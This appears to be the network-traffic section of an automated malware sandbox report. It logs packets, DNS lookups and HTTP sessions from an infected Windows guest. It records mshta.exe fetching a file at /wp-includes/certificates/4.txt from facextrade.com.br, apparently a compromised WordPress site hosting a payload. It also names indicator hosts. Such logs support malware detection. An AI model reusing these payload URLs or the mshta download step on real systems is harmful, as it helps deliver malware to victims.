Aug 16, 2022 11:50:13.475080013 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475087881 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475106001 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475109100 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475130081 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475137949 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475157022 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475164890 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475183964 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475191116 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475208998 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475219011 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475233078 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475239992 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475258112 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475266933 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475284100 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475291967 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475310087 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475316048 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475334883 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475344896 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475373983 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475405931 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475442886 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.476969957 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.668983936 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.669028997 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.669049978 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.669095993 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.670933008 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.693048000 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.693098068 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.693123102 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.693133116 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.693147898 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.693159103 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.693172932 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.693178892 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.693192959 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.693203926 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.693211079 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.693239927 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.693289995 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.693315983 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.693327904 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.693348885 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.801132917 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.849490881 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.029875994 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.029920101 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.029947042 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.029983044 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.030009985 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.035588980 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.063281059 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.063329935 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.063380003 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.063405037 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.063427925 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.063446045 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.063452005 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.063471079 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.063476086 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.063479900 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.063481092 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.063487053 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.063503981 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.063513994 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.063524008 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.063538074 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.063549042 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.067737103 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.078119040 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263628960 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263679028 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263703108 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263727903 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263753891 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263780117 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263804913 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263811111 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263832092 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263839006 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263843060 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263845921 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263859987 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263870955 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263885021 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263895988 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263909101 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263920069 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263931990 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263942957 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263961077 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263984919 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.263987064 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.263998032 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264008999 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264031887 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264036894 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264050007 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264056921 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264062881 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264082909 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264089108 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264107943 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264115095 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264132977 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264139891 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264158010 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264168024 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264183998 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264193058 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264208078 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264214993 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264233112 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264242887 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264256954 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264264107 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264282942 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264291048 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264307022 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264313936 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264329910 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264339924 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264353991 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264362097 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264377117 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.264389038 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.264409065 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:14.290929079 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.290971994 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:14.291089058 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:19.267102003 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:19.267479897 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:19.297605991 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:19.297683954 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:27.995508909 CEST	49179	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:51:27.995876074 CEST	49175	80	192.168.2.22	104.18.10.207
Aug 16, 2022 11:51:27.996011019 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:27.996205091 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:28.013559103 CEST	80	49175	104.18.10.207	192.168.2.22
Aug 16, 2022 11:51:28.013636112 CEST	80	49179	142.250.181.238	192.168.2.22
Aug 16, 2022 11:51:28.013763905 CEST	49175	80	192.168.2.22	104.18.10.207
Aug 16, 2022 11:51:28.013787985 CEST	49179	80	192.168.2.22	142.250.181.238
Aug 16, 2022 11:51:28.509936094 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:28.513531923 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:29.118257999 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:29.118398905 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:30.319442034 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:30.319515944 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:32.722110033 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:51:32.725918055 CEST	49204	80	192.168.2.22	187.45.240.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 16, 2022 11:49:42.761287928 CEST	55868	53	192.168.2.22	8.8.8.8
Aug 16, 2022 11:49:42.780343056 CEST	53	55868	8.8.8.8	192.168.2.22
Aug 16, 2022 11:49:44.693511009 CEST	49688	53	192.168.2.22	8.8.8.8
Aug 16, 2022 11:49:44.715549946 CEST	53	49688	8.8.8.8	192.168.2.22
Aug 16, 2022 11:49:45.073263884 CEST	55275	53	192.168.2.22	8.8.8.8
Aug 16, 2022 11:49:45.101480007 CEST	53	55275	8.8.8.8	192.168.2.22
Aug 16, 2022 11:50:09.999392033 CEST	54408	53	192.168.2.22	8.8.8.8
Aug 16, 2022 11:50:10.038166046 CEST	53	54408	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 16, 2022 11:49:42.761287928 CEST	192.168.2.22	8.8.8.8	0xedf3	Standard query (0)	facextrade.com.br	A (IP address)	IN (0x0001)
Aug 16, 2022 11:49:44.693511009 CEST	192.168.2.22	8.8.8.8	0x5369	Standard query (0)	netdna.bootstrapcdn.com	A (IP address)	IN (0x0001)
Aug 16, 2022 11:49:45.073263884 CEST	192.168.2.22	8.8.8.8	0x8f49	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)
Aug 16, 2022 11:50:09.999392033 CEST	192.168.2.22	8.8.8.8	0xc481	Standard query (0)	storage.ie6countdown.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 16, 2022 11:49:42.780343056 CEST	8.8.8.8	192.168.2.22	0xedf3	No error (0)	facextrade.com.br		187.45.240.69	A (IP address)	IN (0x0001)
Aug 16, 2022 11:49:44.715549946 CEST	8.8.8.8	192.168.2.22	0x5369	No error (0)	netdna.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)
Aug 16, 2022 11:49:44.715549946 CEST	8.8.8.8	192.168.2.22	0x5369	No error (0)	netdna.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)
Aug 16, 2022 11:49:45.101480007 CEST	8.8.8.8	192.168.2.22	0x8f49	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)
Aug 16, 2022 11:49:45.101480007 CEST	8.8.8.8	192.168.2.22	0x8f49	No error (0)	www3.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)
Aug 16, 2022 11:50:06.716008902 CEST	8.8.8.8	192.168.2.22	0x632d	No error (0)	gstaticadssl.l.google.com		172.217.16.195	A (IP address)	IN (0x0001)
Aug 16, 2022 11:50:10.038166046 CEST	8.8.8.8	192.168.2.22	0xc481	Name error (3)	storage.ie6countdown.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

facextrade.com.br

translate.google.com

netdna.bootstrapcdn.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49180	142.250.181.238	443	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49173	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:49:43.019753933 CEST	0	OUT	GET /wp-includes/certificates/4.txt HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:49:44.509680033 CEST	2	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:49:43 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:49:44.509727955 CEST	3	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:49:44.509749889 CEST	4	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:49:44.509764910 CEST	5	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:49:44.511492014 CEST	6	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:49:44.511523962 CEST	8	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:49:44.511545897 CEST	9	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:49:44.511558056 CEST	9	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:49:44.517646074 CEST	11	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:49:44.517687082 CEST	12	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
